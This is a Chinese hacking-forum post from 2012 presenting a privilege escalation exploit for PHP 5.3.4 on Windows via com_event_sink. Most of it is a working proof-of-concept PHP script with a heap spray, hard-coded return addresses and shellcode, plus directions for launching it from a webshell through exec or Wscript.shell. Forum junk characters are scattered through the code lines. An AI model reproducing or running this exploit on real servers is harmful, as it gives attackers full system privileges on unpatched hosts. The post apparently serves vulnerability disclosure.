找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2098|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
* E$ Y" p' Q6 U6 I
) \5 h) N; d4 r测试方法如下:cmd /c x:\php\php.exe x:\test.php) l9 |5 O( }/ \* |5 J2 P3 E

3 Q2 }% ^9 E3 `( p下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php! D4 k$ s: T* S" Y
这里是两个测试的截图:
6 A( M4 d5 l& B- [; h& P9 _2 o
* s4 G& Z; L! @* o
3 }6 C+ u8 O6 n. C9 n# L) \! e6 f2 {# H4 @! Z1 s- P6 d
# y1 ^# T% l) @9 Q# i+ L

" a7 ?* @. z1 k0 R, `成功利用此漏洞的攻击者将获得系统的最高权限
+ z) M9 @" y6 p  _. Y
; r! O  N# e1 K2 j+ @- s6 @! _4 [$ R( l8 ?2 U& W, F: B  e
, N5 K4 h# r7 \5 ?& c

5 N* E- A2 [: W# m% A6 _( p: }/ p
( `  g! w1 A% d  t0 H2 I关于漏洞分析稍后附上。一下是PoC代码:
' O, \" d% Q3 b( Q- ^- s+ r& I9 ?) r/ k2 Z. C: p  {
<?php, m  l2 e& @6 q5 R9 A
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞  L2 [; A; b1 {) e
//$eip ="\x44\x43\x42\x41";
! h- g9 I; E" O1 a7 V+ C' Y$eip= "\x4b\xe8\x57\x78";
6 r; H1 U: |! w, L8 s8 q8 K5 L" G$eax ="\x80\x01\x8d\x04";. m1 G( V0 D& I7 }: k
$deodrant="";
1 n8 Y) n" M6 p& Z0 d1 O$axespray = str_repeat($eip.$eax,0x80);% V" A7 A! _) g& U. c
//048d0190* K0 H% J2 E' ^* W
echo strlen($axespray);; y5 c7 P) [4 Z. W+ L
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";1 B0 ]6 J) D1 f/ b
echo "Silic Group Hacker Army - BlackBap.Org";
. @$ u5 E2 O- Z/ q$ o5 w//19200 ==4B32 4b00$ d  v7 i) O1 g6 F& _, Q# ?7 K1 J
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
5 F( Y* k# \3 c" V# D* d; v9 ~$terminate = "T";8 L$ R) S& U/ y. R# @1 N. s4 O
$u[] =$deodrant;
) F3 s& Z5 O$ k5 b1 u9 t$r[] =$deodrant.$terminate;
% n1 ~% {. ^$ t& B" c0 Y$a[] =$deodrant.$terminate;
% C" g0 D; F% _$s[] =$deodrant.$terminate;/ J! X! T2 L4 V1 g
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的- H7 V/ e: P* U  l1 d" x
$vVar = new VARIANT(0x048d0000+180);
# W( B: R5 `6 J- @4 g+ W% Q5 n//弹窗代码(Shellcode)
  N6 [" U3 v3 P7 `; w$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";; n1 Z3 e3 g" K) F
$var2 = new VARIANT(0x41414242);2 _8 p+ d' m( v' g" b) W1 K
com_event_sink($vVar,$var2,$buffer);2 Q; s  Z# c* L# S+ ]8 u
?>7 Q, q9 n) f# I. v

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表